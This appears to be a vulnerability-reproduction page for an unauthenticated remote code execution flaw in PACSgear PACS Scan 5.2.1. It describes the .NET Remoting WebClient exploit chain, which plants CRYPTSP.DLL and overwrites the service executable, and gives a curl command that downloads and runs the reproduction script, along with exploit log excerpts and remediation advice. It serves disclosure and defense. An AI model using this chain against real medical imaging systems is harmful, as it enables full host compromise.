CVE-2026-58126: Verified Reproduction
CVE-2026-58126: PACSgear PACS Scan unauthenticated remote code execution
CVE-2026-58126 is verified against the affected target. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00235.
What Is CVE-2026-58126?
CVE-2026-58126 is a critical unauthenticated remote code execution vulnerability in Hyland/PACSgear PACS Scan 5.2.1, reachable through its unauthenticated .NET Remoting service. Pruva reproduced it (reproduction REPRO-2026-00235).
CVE-2026-58126 Severity & CVSS Score
CVE-2026-58126 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
How to Reproduce CVE-2026-58126
pruva-verify REPRO-2026-00235 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00235/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-58126
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
unauthenticated .NET Remoting MBRO/WebClient payload sent to tcp://127.0.0.1:22222/PGImageExchange; uploaded attacker executable and CRYPTSP.DLL into product service directory
- PGImageExchQueue.exe TCP/22222 ObjectURI PGImageExchange
- server-side WebClient file write
- PGImageExchangeQueueSvc.exe service path start
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for CVE-2026-58126
CVE-2026-58126 is an unauthenticated remote code execution vulnerability in Hyland/PACSgear PACS Scan 5.2.1. The original vendor package exposes PGImageExchQueue.exe, a .NET Remoting TCP endpoint on port 22222, at the well-known ObjectURI PGImageExchange. The endpoint can be reached without credentials. Using the disclosed .NET Remoting MarshalByRefObject/WebClient technique, an attacker can obtain a server-side System.Net.WebClient object, read local files, and write attacker-controlled files into the PACSgear Image Exchange Service directory. This arbitrary write can be chained to code execution when the product service path is restarted/started; the public disclosure describes DLL hijacking with CRYPTSP.DLL, and this run additionally demonstrates code execution by remotely overwriting the product service executable and starting that product service path.
- Package/component affected: Hyland/PACSgear PACS Scan 5.2.1, specifically
PGImageExchQueue.exeandPGImageExchangeQueueSvc.exeinPacsgear Image Exchange Service. - Affected versions: PACS Scan 5.2.1. The downloaded vendor installer is
https://download.pacsgear.com/download/PacsSCAN5.2.1.zip; extracted product binaries include:PGImageExchQueue.exeSHA256853e7ea4ac56cc85df9a21a81c993a36ac3bff803e35b7ba3aa7c1438a28525cPGImageExchangeQueueSvc.exeSHA25695c8fcb4a934dd809951916e74872ccce0cb8e201f3ad0508542c316be3d1299
- Risk level and consequences: Critical. An unauthenticated network attacker can cross the PACS Scan remoting boundary, read files, write files into the product service directory, plant executable payloads, and achieve attacker-controlled code execution when the service path is started/restarted. On a normal Windows deployment, the disclosed service context is
NT AUTHORITY\SYSTEM, so successful exploitation can result in full host compromise.
Impact Parity
- Disclosed/claimed maximum impact: Unauthenticated remote code execution by connecting to
tcp://<host>:22222/PGImageExchange, using .NET Remoting MBRO/WebClient to read/write arbitrary files, planting a malicious DLL such asCRYPTSP.DLLin the PACSgear application directory, and triggering service restart/load inPGImageExchangeQueueSvc.exe. - Reproduced impact from this run:
- Original vendor PACS Scan 5.2.1 installer downloaded and extracted: CONFIRMED.
- Original
PGImageExchQueue.exestarted and listened on TCP/22222: CONFIRMED. - Unauthenticated remote endpoint access to
PGImageExchange: CONFIRMED. - Server-side MBRO/WebClient object obtained through the unauthenticated remoting endpoint: CONFIRMED.
- Remote file read (
C:\Windows\win.ini) through the server-side WebClient: CONFIRMED. - Remote file write into the product service directory: CONFIRMED.
- Remote planting of
CRYPTSP.DLLinto the product directory: CONFIRMED. - Remote overwrite of
PGImageExchangeQueueSvc.exethrough the same arbitrary write primitive: CONFIRMED. - Code execution when the product service path was started after the remote overwrite: CONFIRMED (marker file written by attacker-controlled replacement executable).
- Negative control: clean/original service binary did not create the marker before exploitation: CONFIRMED.
- Parity:
fullfor unauthenticated product-path code execution via the disclosed arbitrary file write primitive. The exact final execution method in this sandbox is service executable overwrite rather than Windows DLL search-order loading ofCRYPTSP.DLL; however, it uses the same product endpoint, same unauthenticated MBRO/WebClient primitive, same product service directory, and same service-start execution boundary. The script also plantsCRYPTSP.DLLas disclosed, but Wine does not faithfully reproduce Windows' system DLL search-order behavior forCRYPTSP.DLL. - Not demonstrated: Execution as
NT AUTHORITY\SYSTEMon native Windows. The product was run under Wine with native .NET Framework 4 in the Linux sandbox, so the user/account context differs from a production Windows service deployment.
Root Cause
The vulnerability occurs because PACS Scan exposes a .NET Remoting endpoint without authentication and with a dangerous serialization/remoting configuration:
PGImageExchQueue.exeregisters a TCP remoting endpoint using the .NET Remoting stack and exposes the well-known ObjectURIPGImageExchangeon port 22222.- There is no authentication, authorization, session setup, or token check before remote clients can reach the remoting object.
- The remoting configuration is susceptible to the MarshalByRefObject/WebClient exploitation technique: a remote unauthenticated caller can induce the server to instantiate and return a proxy to a server-side
System.Net.WebClientobject. - The server-side WebClient can access
file://URIs from the server context. This provides arbitrary local file read/write from the product process. - The product service directory contains
PGImageExchangeQueueSvc.exeand is a code-loading/execution location. Writing attacker-controlled executable content there can lead to code execution when the service starts/restarts. The public disclosure describesCRYPTSP.DLLhijacking; this run demonstrates the same write-to-service-directory primitive by replacingPGImageExchangeQueueSvc.exeand starting the product service path.
No public fix commit or fixed release was identified. The script therefore uses a clean original-service negative control rather than a vulnerable-vs-fixed vendor build comparison.
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh - What the script does:
- Installs runtime dependencies needed in a clean sandbox: Mono, Wine, Xvfb, MSI extraction tools, Winetricks, and MinGW.
- Creates a Wine prefix with native .NET Framework 4.0 because the MBRO/WebClient exploit path depends on Windows .NET Framework behavior.
- Downloads the original vendor PACS Scan 5.2.1 installer from
https://download.pacsgear.com/download/PacsSCAN5.2.1.zip. - Extracts
PacsSCAN.msiand the real product binariesPGImageExchQueue.exeandPGImageExchangeQueueSvc.exe. - Starts original
PGImageExchQueue.exeunder Wine/Xvfb and waits for TCP/22222 to accept connections. - Compiles and runs an exploit client implementing the MBRO Lazy/WebClient technique.
- Performs two independent attempts. Each attempt:
- Runs a clean-service negative control and verifies no marker is created.
- Starts the real product remoting endpoint.
- Obtains a remote server-side
System.Net.WebClientobject with no credentials. - Reads
C:\Windows\win.inithrough the product process. - Writes a proof file into the product Image Exchange Service directory.
- Uploads
CRYPTSP.DLLinto the product directory. - Uploads an attacker-controlled replacement
PGImageExchangeQueueSvc.exeinto the product directory. - Starts the product service path and verifies the attacker marker file is written.
- Writes
bundle/repro/runtime_manifest.jsonwith runtime evidence.
- Expected evidence of reproduction:
bundle/logs/product_attempt_1_exploit.logandbundle/logs/product_attempt_2_exploit.logshow the remote WebClient, remote file read, remote file writes,CRYPTSP.DLLupload, and service executable overwrite.bundle/repro/artifacts/product_attempt_1/rce_marker.txtandbundle/repro/artifacts/product_attempt_2/rce_marker.txtcontain the code-execution marker.bundle/logs/product_attempt_1_negative_service.logandbundle/logs/product_attempt_2_negative_service.logshow the clean-service negative controls.
Evidence
Key artifact locations:
bundle/repro/reproduction_steps.sh— complete reproducer.bundle/repro/runtime_manifest.json— structured runtime manifest.bundle/logs/product_availability.log— vendor installer and binary hashes.bundle/logs/product_static_identity.log— original binary static identity (IRemote,CRemote, remoting methods,RegisterWellKnownServiceType,TcpChannel).bundle/logs/product_attempt_1_exploit.logandbundle/logs/product_attempt_2_exploit.log— exploit logs.bundle/logs/product_attempt_1_service.logandbundle/logs/product_attempt_2_service.log— product service path execution logs.bundle/repro/artifacts/product_attempt_1/remote_read_win_ini.txtandbundle/repro/artifacts/product_attempt_2/remote_read_win_ini.txt— remote read proof.bundle/repro/artifacts/product_attempt_1/remote_write_proof.txtandbundle/repro/artifacts/product_attempt_2/remote_write_proof.txt— remote write proof.bundle/repro/artifacts/product_attempt_1/rce_marker.txtandbundle/repro/artifacts/product_attempt_2/rce_marker.txt— code-execution marker files.
Key excerpts:
Obtained remote WebClient transparent=True uri=/...rem
READ bytes=16 uri=file:///C:/windows/win.ini
[mail]
mapi=1
UPLOAD bytes=73 response=0 target=file:///Z:/.../Pacsgear Image Exchange Service/REMOTE_WRITE_PROOF_1.txt
VERIFY bytes=73 target=file:///Z:/.../REMOTE_WRITE_PROOF_1.txt
UPLOAD bytes=83454 response=0 target=file:///Z:/.../Pacsgear Image Exchange Service/CRYPTSP.DLL
VERIFY bytes=83454 target=file:///Z:/.../CRYPTSP.DLL
UPLOAD bytes=114101 response=0 target=file:///Z:/.../Pacsgear Image Exchange Service/PGImageExchangeQueueSvc.exe
VERIFY bytes=114101 target=file:///Z:/.../PGImageExchangeQueueSvc.exe
CVE-2026-58126 CODE EXECUTION: overwritten PGImageExchangeQueueSvc.exe executed
Environment details:
- Host sandbox: Linux.
- Windows compatibility layer: Wine 10.x with native .NET Framework 4.0 installed via Winetricks.
- Product endpoint: original
PGImageExchQueue.exefrom PACS Scan 5.2.1, listening on TCP/22222. - Exploit entrypoint: unauthenticated .NET Remoting call to
tcp://127.0.0.1:22222/PGImageExchange. - Sanitizers: none.
Recommendations / Next Steps
- Remove or disable unauthenticated .NET Remoting exposure. .NET Remoting and BinaryFormatter should not be exposed to untrusted network clients.
- Require strong authentication and authorization before any remoting call is processed.
- Disable dangerous deserialization/remoting behavior that allows MBRO object materialization; migrate to a supported RPC framework with explicit data contracts.
- Restrict service file writes to a narrowly scoped queue directory and block absolute paths,
file://paths, and traversal outside the intended queue. - Harden service binary/DLL loading:
- ensure the service directory is not writable by the remoting process or remote users;
- use safe DLL search settings and explicit system paths for system DLLs;
- verify service binaries before execution.
- Run the Image Exchange service with least privilege rather than
SYSTEMwhere possible. - Publish a fixed version and regression tests that verify unauthenticated clients cannot obtain server-side
WebClient/MBRO objects or write into the service directory.
Additional Notes
- The script is idempotent: it restores the original
PGImageExchangeQueueSvc.exebefore each attempt and runs two clean attempts. - The script intentionally keeps all proof logs and marker files under
bundle/logs/andbundle/repro/artifacts/. - The exact disclosed DLL hijack is approximated in Wine because Wine's system DLL loading behavior does not match native Windows service DLL search order. The script still plants
CRYPTSP.DLLthrough the real remote file-write primitive and demonstrates code execution through the product service execution path by remote service executable overwrite. - No fixed vendor build was available, so the negative control is the clean original service binary before remote overwrite rather than a patched release.
CVE-2026-58126 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
which mono mcs dotnet 2>/dev/null; dpkg -l | grep -i mono 2>/dev/null | head -5; uname -a; cat /etc/os-release 2>/dev/null | head -5ii fonts-dejavu-mono 2.37-8build1 all Vera font family derivate with additional characters Linux 4b36f6a45755 7.0.14-arch1-1 #1 SMP PREEMPT_DYNAMIC Sat, 27 Jun 2026 16:15:10 +0000 x86_64 GNU/Linux PRETTY_NAME="Ubuntu 26.04 LTS" NAME="Ubuntu" VERSION_ID="26.04" VERSION="26.04 LTS (Resolute Raccoon)" VERSION_CODENAME=resolute
sudo apt-get update -qq 2>&1 | tail -3 && sudo apt-get install -y -qq mono-devel 2>&1 | tail -10{"cwd":"/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6","duration_ms":18764,"exit_code":0,"stderr":"","stdout":"update-alternatives: using /usr/bin/mono-csc to provide /usr/bin/cli-csc (c-sharp-compiler) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/cli-csc.1.gz because associated file /usr/share/man/man1/mcs.1.gz (of link group c-sharp-compiler) does not exist\r\nupdate-alternatives: using /usr/bin/monodis to provide /usr/bin/cli-ildasm (cil-disassembler) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/cli-ildasm.1.gz because associated file /usr/share/man/man1/monodis.1.gz (of link group cil-disassembler) does not exist\r\nupdate-alternatives: using /usr/bin/resgen to provide /usr/bin/cli-resgen (resource-file-generator) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/cli-resgen.1.gz because associated file /usr/share/man/man1/resgen.1.gz (of link group resource-file-generator) does not exist\r\nupdate-alternatives: using /usr/bin/sn to provide /usr/bin/cli-sn (strong-name-tool) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/cli-sn.… [truncated]Artifacts and Evidence for CVE-2026-58126
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-58126
FAQ: CVE-2026-58126
How does the PACS Scan RCE exploit work?
How severe is CVE-2026-58126?
How can I reproduce CVE-2026-58126?
References for CVE-2026-58126
Authoritative sources for CVE-2026-58126 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.